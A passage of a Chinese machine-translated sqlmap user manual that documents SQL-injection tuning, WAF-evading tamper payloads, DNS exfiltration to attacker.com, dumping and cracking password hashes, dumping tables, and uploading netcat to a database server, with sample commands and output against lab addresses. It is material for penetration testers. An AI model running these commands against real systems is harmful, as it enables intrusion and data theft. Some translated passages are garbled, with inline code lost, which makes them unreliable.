请注意,此选项不是必需的,强烈建议仅在您确实了解后端数据库管理系统时才使用它如果你不知道它,让sqlmap自动给你指纹。

强制数据库管理系统操作系统名称

选项: --os

默认情况下,当此信息与其他提供的交换机或选项相关时,sqlmap会自动检测Web应用程序的后端数据库管理系统底层操作系统。目前完全支持的操作系统是:

  • Linux的
  • 视窗

如果您已经知道它,可以强制操作系统名称,以便sqlmap可以避免自行完成操作。

请注意,此选项不是必需的,强烈建议只有在您确实了解底层操作系统的后端数据库管理系统时才使用它如果你不知道它,让sqlmap为你自动识别它。

强制使用大数字来使值失效

开关: --invalid-bignum

在sqlmap需要使原始参数值无效的情况下(例如id=13)它使用经典否定(例如id=-13)。通过这个开关,可以强制使用大整数值来实现相同的目标(例如id=99999999)。

强制使用逻辑操作来使值失效

开关: --invalid-logical

在sqlmap需要使原始参数值无效的情况下(例如id=13)它使用经典否定(例如id=-13)。通过这个开关,可以强制使用布尔操作来实现相同的目标(例如id=13 AND 18=19)。

强制使用随机字符串来使值失效

开关: --invalid-string

在sqlmap需要使原始参数值无效的情况下(例如id=13)它使用经典否定(例如id=-13)。通过这个开关,可以强制使用随机字符串来实现相同的目标(例如id=akewmc)。

关闭有效负载转换机制

开关: --no-cast

当检索结果时,sqlmap使用一种机制,其中所有条目都被转换为字符串类型,并在NULL值为空的情况下替换为空白字符这是为了防止任何错误状态(例如,将NULL值与字符串值串联)以及简化数据检索过程本身。然而,由于数据检索本身的问题(例如None返回值),有报告的案例(例如较早版本的MySQL DBMS)需要关闭此机制(使用此开关)。

关闭字符串转义机制

开关: --no-escape

如果sqlmap需要在有效载荷(例如SELECT 'foobar'内使用(单引号分隔)字符串值,那么这些值将自动被转义(例如SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。这是因为两件事:混淆负载内容并防止后端服务器上查询转义机制(例如magic_quotes和/或mysql_real_escape_string)的潜在问题用户可以使用此开关将其关闭(例如,以减少有效载荷大小)。

定制注入有效载荷

选项:--prefix--suffix

在某些情况下,只有当用户提供了一个特定的后缀才能附加到注入有效载荷时,易受攻击的参数才可被利用。当用户已经知道该查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项变得方便的另一种情况会呈现出来。

易受攻击的源代码示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要检测和利用此SQL注入,可以让sqlmap 在检测阶段为您检测边界(如SQL有效内容前缀和后缀的组合),或者自行提供。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

这将导致所有的sqlmap请求在查询中结束,如下所示:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

这使得查询在语法上正确。

在这个简单的例子中,sqlmap可以检测SQL注入并利用它,而无需提供自定义边界,但有时在实际应用中,当注入点位于嵌套JOIN查询中时,有必要提供它

篡改注射数据

选项: --tamper

除了单引号之间的字符串被CHAR()同样的表示所取代之外,sqlmap本身不会混淆发送的有效内容

在您与后端数据库管理系统之间存在较弱的输入验证机制的情况下,此选项可能非常有用且功能强大。这种机制通常是由应用程序源代码,昂贵的企业级IPS设备或Web应用程序防火墙(WAF)调用的自行开发的输入验证例程。所有的流行语通常用来定义相同的概念,以不同的方式实施并花费大量金钱。

要利用此选项,请提供带逗号分隔的篡改脚本列表的sqlmap,这将处理有效内容并将其返回。您可以定义自己的篡改脚本,使用tamper/文件夹中的sqlmap命令,或者编辑它们,只要将逗号分隔为选项的值--tamper(例如--tamper="between,randomcase")即可。

有效的篡改脚本的格式如下所示:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以检查目录中有效且可用的篡改脚本tamper/

假定>字符,空格和大写SELECT字符串被禁止的情况下针对MySQL目标的示例

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

发现

这些选项可用于自定义检测阶段。

水平

选项: --level

该选项需要一个参数来指定要执行的测试级别。五个级别。执行有限数量的测试(请求)时,默认值为1反之亦然,级别5将对更多数量的有效负载和边界进行详细测试(如在SQL有效负载前缀和后缀对中)。sqlmap使用的有效载荷在文本文件中指定xml/payloads.xml按照文件顶部的说明,如果sqlmap错过了一次注入,你应该也可以添加你自己的有效载荷来进行测试!

不仅此选项会影响sqlmap尝试哪些有效内容,还会考虑考试中采用哪些注入点:始终测试GET和POST参数,根据级别2测试HTTP Cookie标头值,并测试HTTP User-Agent / Referer头的值3

总而言之,检测SQL注入越困难,--level必须设置的越高

强烈建议在向邮件列表报告sqlmap无法检测到某个注入点之前将此值提高。

风险

选项: --risk

该选项需要一个参数来指定测试执行的风险。三个风险值。默认值是1,这对大多数SQL注入点无害。风险值2增加了默认级别,对基于时间的SQL查询进行大量查询的测试和值3也增加了OR基于SQL注入测试。

在某些情况下,像UPDATE声明中的SQL注入一样,注入OR基于内容的负载可能会导致表中所有条目的更新,这当然不是攻击者想要的。出于这个原因和其他原因,这个选项已经被引入:用户可以控制哪些有效载荷被测试,用户可以任意选择使用也是潜在危险的。根据前面的选项,sqlmap使用的有效载荷在文本文件中指定xml/payloads.xml,您可以自由编辑和添加您的拥有者。

页面比较

选项:--string--not-string--regexp--code

默认情况下,通过将注入的请求页面内容与原始未注入页面内容进行比较来完成True查询与一个查询False(基于布尔型盲数SQL注入漏洞的粗略概念)的区别并不总是这个概念有效,因为有时候每次刷新时页面内容都会改变,甚至不会注入任何东西,例如当页面有一个计数器,一个动态广告横幅或HTML动态呈现的任何其他部分时,从而影响用户的输入。为了绕过这个限制,sqlmap会尽力识别这些响应主体的片段并进行相应的处理。有时它可能会失败,这就是为什么用户可以提供一个字符串(--string选项)应该在原始页面上(尽管这不是要求)以及所有True注入查询页面上都存在,但它不在 False上。用户可以提供正则表达式(--regexp选项),而不是静态字符串或者,用户可以提供一个字符串(--not-string选项),它不在原始页面上而不在所有的True注入查询页面上,但总是出现在False 页面上。

这些数据对于用户来说很容易检索,只需向受影响的参数中插入一个无效值并手动比较原始(未注入)页面内容与注入的错误页面内容。这种区分将基于字符串存在或正则表达式匹配。

在用户知道可以使用HTTP代码(例如for for 来完成True查询的区分的情况下,他可以将该信息提供给sqlmap(eg )。False200True401False--code=200

开关:--text-only--titles

在用户知道可以使用HTML标题(例如for for 区分True查询和查询的情况下,他可以使用开关打开基于标题的比较FalseWelcomeTrueForbiddenFalse--titles

在HTTP响应正文中包含大量活动内容(例如脚本,嵌入等)的情况下,可以--text-only仅为其文本内容过滤页面(切换)。这样,在很多情况下,您可以自动调整检测引擎。

技术

这些选项可用于调整特定SQL注入技术的测试。

SQL注入技术来测试

选项: --technique

此选项可用于指定要测试的SQL注入类型。默认情况下,它支持所有类型/技术的sqlmap测试

在某些情况下,您可能只想测试一种或几种特定类型的SQL注入思想,这就是此选项的作用。

这个选项需要一个参数。这种参数是一个通过的任何组合组成的字符串BEUSTQ字符,其中每个字母代表一种不同的技术:

  • B:基于布尔的盲
  • E:基于错误
  • U:联盟查询为基础
  • S:堆积查询
  • T:基于时间的盲人
  • Q:内嵌查询

例如,您可以提供ES是否要测试和利用仅基于错误和堆栈的查询SQL注入类型。默认值是BEUSTQ

请注意,字符串必须包含堆叠查询技术字母,S当您要访问文件系统时,接管操作系统或访问Windows注册表配置单元。

秒延迟DBMS响应时间为基础的盲目SQL注入

选项: --time-sec

在测试基于时间的盲SQL注入时,可以设置延迟响应的秒数,方法是提供--time-sec后跟一个整数选项。默认情况下,它的值被设置为5秒

UNION查询SQL注入中的列数

选项: --union-cols

默认情况下,sqlmap会针对使用1到10列的UNION查询SQL注入技术进行测试。但是,通过提供更高的--level价值,该范围可以增加到50列有关详细信息,请参阅相关段落。

您可以手动告诉sqlmap,通过为该工具提供--union-cols一系列整数后面的选项来测试此类型SQL注入的特定范围的列例如,12-16意味着使用12到16列的UNION查询SQL注入的测试。

用于测试UNION查询SQL注入的字符

选项: --union-char

默认情况下,sqlmap为使用NULL字符的UNION查询SQL注入技术进行测试但是,通过提供更高的--level值,sqlmap将使用随机数执行测试,因为在某些情况下UNION查询测试NULL失败,而使用随机整数成功。

您可以通过使用--union-char具有所需字符值的选项(例如--union-char 123手动告诉sqlmap以测试此类型SQL注入的特定字符

在UNION查询SQL注入的FROM部分中使用的表

选项: --union-from

在某些UNION查询SQL注入情况下,需要在FROM子句中强制使用有效且可访问的表名例如,Microsoft Access需要使用这种表格。如果不提供一个UNION查询,SQL注入将无法正确执行(例如--union-from=users)。

DNS漏洞攻击

选项: --dns-domain

DNS渗出SQL注入攻击在SQL注入攻击中通过DNS进行数据检索时进行了描述,而在sqlmap中执行的演示可以在使用sqlmap的幻灯片DNS出口中找到

如果用户正在控制注册为DNS域服务器的计算机(例如域attacker.com),则可以使用此选项(例如--dns-domain attacker.com打开此攻击它工作的先决条件是运行带有Administrator权限的sqlmap (使用特权端口53),并且可以利用一种正常(盲目)技术进行利用。这样做的唯一目的就是加速数据检索过程,以防万一至少有一种技术被识别出来(最好是基于时间的盲)。如果基于错误的盲或UNION查询技术可用,它将被跳过,因为默认情况下这些技术是首选的。

二阶攻击

选项: --second-order

二阶SQL注入攻击是一个攻击,其中一个易受攻击页面中的注入有效载荷的结果显示(反映)在另一个(例如框架)。通常发生这种情况的原因是数据库存储用户在原始易受攻击页面上提供的输入。

您可以通过使用--second-order带显示结果的网页的URL地址的选项手动告诉sqlmap以测试此类SQL注入

指纹

广泛的数据库管理系统指纹

开关:-f--fingerprint

默认情况下,web应用程序的后端数据库管理系统指纹由sqlmap自动处理。在检测阶段结束后,最终提示用户选择哪个易受攻击的参数进一步使用,sqlmap指纹后端数据库管理系统,并通过知道使用哪种SQL语法,方言和查询来继续进行注入在数据库体系结构的范围内继续进行攻击。

如果对于任何需要基于各种技术(如特定SQL方言和带内错误消息)执行广泛的数据库管理系统指纹的情况,您可以提供交换机--fingerprintsqlmap会执行更多的请求,并为确切的DBMS版本以及可能的操作系统,体系结构和补丁级别指纹。

如果你想让指纹更准确的结果,你也可以提供开关-b--banner

列举

这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。此外,你可以运行你自己的SQL语句。

全部检索

开关: --all

此开关可用于用户想要通过单个开关检索可远程访问的所有内容的情况。不推荐这样做,因为它会产生大量的请求来检索有用和无用的数据。

旗帜

开关:-b--banner

大多数现代数据库管理系统都有一个函数和/或一个环境变量,它返回数据库管理系统版本,并最终返回其修补程序级别(即底层系统)的详细信息。通常该函数是version()和环境变量@@version,但是这取决于目标DBMS。

针对Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

会话用户

开关: --current-user

通过这个开关,可以检索数据库管理系统的用户,该用户正在有效地从Web应用程序对后端DBMS执行查询。

当前数据库

开关: --current-db

通过此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。

服务器主机名

开关: --hostname

使用此开关可以检索数据库管理系统的主机名。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

检测会话用户是否是数据库管理员

开关: --is-dba

可以检测当前数据库管理系统会话用户是否是数据库管理员(也称为DBA)。True如果是,则返回sqlmap ,反之亦然False

列出数据库管理系统用户

开关: --users

当会话用户读取包含有关DBMS用户信息的系统表时,可以枚举用户列表。

列出并破解数据库管理系统用户密码哈希

开关: --passwords

当会话用户读取包含有关DBMS用户密码信息的系统表时,可以枚举每个数据库管理系统用户的密码哈希值。sqlmap将首先枚举用户,然后针对每个用户使用不同的密码哈希。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

不仅sqlmap枚举了DBMS用户及其密码,而且还将hash格式识别为PostgreSQL,要求用户是否对字典文件测试哈希值并为postgres用户标识明文密码,这通常是另一个用户的DBA testuser,密码。

这个特性已经在所有可以枚举用户密码哈希的DBMS中实现,包括2005年之前和之后的Oracle和Microsoft SQL Server。

您还可以提供选项-U以指定要枚举的特定用户,并最终破解密码哈希(es)。如果您提供CU用户名称,则会将其视为当前用户的别名,并将检索此用户的密码哈希(es)。

列出数据库管理系统用户权限

开关: --privileges

当会话用户读取包含有关DBMS用户信息的系统表时,可以枚举每个数据库管理系统用户的权限。通过权限,sqlmap还会显示哪些是数据库管理员。

您还可以提供-U指定要枚举权限的用户的选项

如果您提供CU用户名,则会将其视为当前用户的别名,并列举此用户的权限。

在Microsoft SQL Server上,此功能将显示您是否每个用户都是数据库管理员,而不是所有用户的权限列表。

列出数据库管理系统用户角色

开关: --roles

当会话用户读取包含有关DBMS用户信息的系统表时,可以枚举每个数据库管理系统用户的角色。

您还可以提供-U指定要枚举权限的用户的选项

如果您提供CU用户名,则会将其视为当前用户的别名,并列举此用户的权限。

此功能仅在DBMS为Oracle时可用。

列出数据库管理系统的数据库

开关: --dbs

当会话用户读取包含有关可用数据库信息的系统表时,可以枚举数据库列表。

枚举数据库的表

开关和选项:--tables--exclude-sysdbs-D

当会话用户读取包含有关数据库表的信息的系统表时,可以枚举特定数据库管理系统数据库的表列表。

如果不提供具有选项的特定数据库-D,则sqlmap将枚举所有DBMS数据库的表。

您还可以提供交换机--exclude-sysdbs以排除所有系统数据库。

请注意,在Oracle上,您必须提供TABLESPACE_NAME而不是数据库名称。

枚举数据库表列

开关和选项:--columns-C-T-D

当会话用户读取包含有关数据库表的信息的系统表时,可以枚举特定数据库表的列表。sqlmap还枚举每列的数据类型。

此功能取决于选项-T以指定表名称并可选择-D指定数据库名称。如果未指定数据库名称,则使用当前数据库名称。您还可以提供-C选项来指定表列名称,如您提供的列举名称。

针对SQLite目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

请注意,在PostgreSQL上,您必须提供public系统数据库的名称或名称。这是因为无法枚举其他数据库表,只能列出Web应用程序用户所连接的模式下的表,而这些表总是被别名表示public

列举数据库管理系统模式

开关:--schema--exclude-sysdbs

用户可以使用此开关检索DBMS模式。架构清单将包含所有数据库,表和列以及它们各自的类型。结合--exclude-sysdbs仅包含非系统数据库的部分模式将被检索并显示。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

检索表格的条目数

开关: --count

如果用户想要在转储期望的表之前知道表中的条目数,他可以使用这个开关。

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

转储数据库表条目

开关和选项:--dump-C-T-D--start--stop--first--last--pivot-column--where

当会话用户具有对特定数据库表的读取访问权时,可以转储表条目。

此功能取决于选项-T以指定表名称和可选的选项-D来指定数据库名称。如果提供了表名,但数据库名不是,则使用当前数据库名称。

针对Firebird目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关也可用于转储提供的数据库的所有表的条目。您只需提供带有交换机的sqlmap --dump以及只有选项-D(no -T和no -C)。

您还可以提供逗号分隔的特定列列表,以便使用该选项进行转储-C

sqlmap也为每个表生成一个CSV格式的文本文件中的条目。通过提供大于或等于1的详细级别,您可以看到sqlmap创建文件的绝对路径

如果只想转储一系列条目,则可以提供选项--start和/或--stop分别从某个条目开始转储,并在某个条目处停止转储。例如,如果您只想转储第一个条目,请--stop 1在命令行中提供反之亦然,例如,如果您只想转储第二个和第三个条目,请提供--start 1 --stop 3

另外,也可以指定单个字符或者字符的范围与选择要转储的--first--last例如,如果要将列的条目从第三个字符转换为第五个字符,请提供--first 3 --last 5此功能仅适用于盲注SQL技术,因为对于基于错误和UNION查询SQL注入技术,请求数量完全相同,无论要转储的列输入输出的长度如何。

有时(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由于缺乏相似性,不可能通过使用机制直接转储表行在这种情况下,sqlmap会通过确定最适合的pivot列(具有大多数唯一值的列)来转储内容,这些列的值稍后将用于检索其他列值。如果pivot由于自动选择的列不适合(例如由于缺少表转储结果)而需要强制执行特定的使用,则可以使用选项--pivot-column(例如--pivot-column=id)。

如果您想将转储限制为特定的列值(或范围),则可以使用选项--where提供的逻辑操作将在WHERE子句中自动使用例如,如果--where="id>3"使用列值id大于3的表行,则将检索(通过追加WHERE id>3到已使用的转储查询)。

正如你现在可能已经注意到的那样,sqlmap是灵活的:你可以让它自动转储整个数据库表,或者你可以非常精确地转储哪些字符,从哪些列和哪些范围的条目。

转储所有数据库表项

开关:--dump-all--exclude-sysdbs

可以立即转储会话用户具有读取权限的所有数据库表条目。

您还可以提供交换机--exclude-sysdbs以排除所有系统数据库。在这种情况下,sqlmap只会转储用户数据库表的条目。

请注意,在Microsoft SQL Server上,master数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

搜索列,表格或数据库

开关和选项:--search-C-T-D

此开关允许您搜索特定数据库名称,跨所有数据库的特定表或所有数据库表中的特定列

例如,这对于识别包含自定义应用程序凭证的表格非常有用,其中相关列的名称包含名称传递等字符串

交换机--search需要与以下某个支持选项一起使用:

  • -C 跟随在整个数据库管理系统中查找逗号分隔列名称的列表。
  • -T 跟随在整个数据库管理系统中查找逗号分隔表名称列表。
  • -D 跟随在数据库管理系统中查找逗号分隔的数据库名称列表。

运行自定义SQL语句

选项和开关:--sql-query--sql-shell

SQL查询和SQL shell功能允许在数据库管理系统上运行任意SQL语句。sqlmap自动剖析提供的语句,确定哪种技术适合用于注入它,以及如何相应地打包SQL负载。

如果查询是一个SELECT语句,sqlmap将检索它的输出。否则,如果Web应用程序在后端数据库管理系统上支持多条语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持在特定数据库管理系统上进行堆栈查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但当后端DBMS是PostgreSQL时,PHP支持。

针对Microsoft SQL Server 2000目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

正如你所看到的,sqlmap将提供的查询分成两个不同的SELECT语句,然后检索每个单独查询的输出。

如果提供的查询是一个SELECT语句并包含一个FROM子句,则sqlmap会询问您这样的语句是否可以返回多个条目。在这种情况下,该工具知道如何正确解开查询来计算可能条目的数量并检索其输出,每个条目的条目。

SQL shell选项允许您以交互方式运行自己的SQL语句,如连接到数据库管理系统的SQL控制台。该功能也提供了TAB完成和历史记录支持。

蛮力

这些开关可用于运行强力检查。

蛮力表名称

开关: --common-tables

有些情况下,switch --tables不能用来检索数据库的表名。这些案件通常适用于以下类别之一:

  • 数据库管理系统是MySQL <5.0information_schema不可用。
  • 数据库管理系统是Microsoft Access,系统表MSysObjects不可读 - 默认设置。
  • 会话用户对存储数据库方案的系统表没有读权限。

如果前两种情况中的任何一种适用并且您提供了交换机--tables,则sqlmap会提示您回答这个问题。无论哪种情况都适用于您的情况,如果您将其与交换机一起提供,sqlmap仍可能会识别一些现有的表--common-tablessqlmap将执行蛮力攻击以检测DBMS中是否存在公用表。

常用表名称列表是txt/common-tables.txt,您可以根据需要进行编辑。

针对MySQL 4.1目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

蛮力列名称

开关: --common-columns

根据表格,有些情况下switch --columns不能用来检索数据库'表'的列名。这些案件通常适用于以下类别之一:

  • 数据库管理系统是MySQL <5.0information_schema不可用。
  • 数据库管理系统是Microsoft Access,这种信息在系统表内不可用。
  • 会话用户对存储数据库方案的系统表没有读权限。

如果前两种情况中的任何一种适用并且您提供了交换机--columns,则sqlmap会提示您回答这个问题。无论哪种情况都适用于您的情况,如果您将其与交换机一起提供,sqlmap仍可能会识别一些现有的表--common-columnssqlmap将执行强力攻击以检测DBMS中是否存在公共列。

常用表名称列表是txt/common-columns.txt,您可以根据需要进行编辑。

用户定义的函数注入

这些选项可用于创建自定义的用户定义函数。

注入自定义用户定义函数(UDF)

开关和选项:--udf-inject--shared-lib

您可以通过编译MySQL或PostgreSQL共享库,DLL for Windows和Linux / Unix共享对象来注入自己的用户定义函数(UDF),然后为共享库本地存储在您的机器上的路径提供sqlmap。然后,sqlmap会问你一些问题,上传数据库服务器文件系统上的共享库,从中创建用户定义的函数,并根据你的选项执行它们。当你完成使用注入的UDF时,sqlmap也可以为你从数据库中删除它们。

这些技术在高级SQL注入到操作系统完全控制的白皮书中有详细介绍

使用选项--udf-inject并按照说明进行操作。

如果需要,也可以通过使用--shared-lib选项,通过命令行指定共享库本地文件系统路径反之亦然,sqlmap会在运行时询问你的路径。

该功能仅在数据库管理系统是MySQL或PostgreSQL时可用。

文件系统访问

从数据库服务器的文件系统中读取文件

选项: --file-read

当后端数据库管理系统为MySQL,PostgreSQL或Microsoft SQL Server时,可以从底层文件系统检索文件的内容,而会话用户具有滥用数据库特定功能和体系结构弱点的所需特权。指定的文件可以是文本文件或二进制文件。sqlmap会正确处理它。

这些技术在高级SQL注入到操作系统完全控制的白皮书中有详细介绍

针对Microsoft SQL Server 2005目标检索二进制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

将文件上载到数据库服务器的文件系统

选项:--file-write--file-dest

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以将本地文件上载到数据库服务器的文件系统,并且会话用户具有滥用数据库特定功能和架构弱点的所需特权。指定的文件可以是文本文件或二进制文件。sqlmap会正确处理它。

这些技术在高级SQL注入到操作系统完全控制的白皮书中有详细介绍

针对上传二进制UPX压缩文件的MySQL目标的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

操作系统接管

运行任意操作系统命令

选项和开关:--os-cmd--os-shell

它可以在数据库服务器的底层操作系统上运行任意命令时,后端数据库管理系统或者是MySQL和PostgreSQL或Microsoft SQL Server和会话用户具有所需的权限滥用数据库特定的功能和架构的弱点。

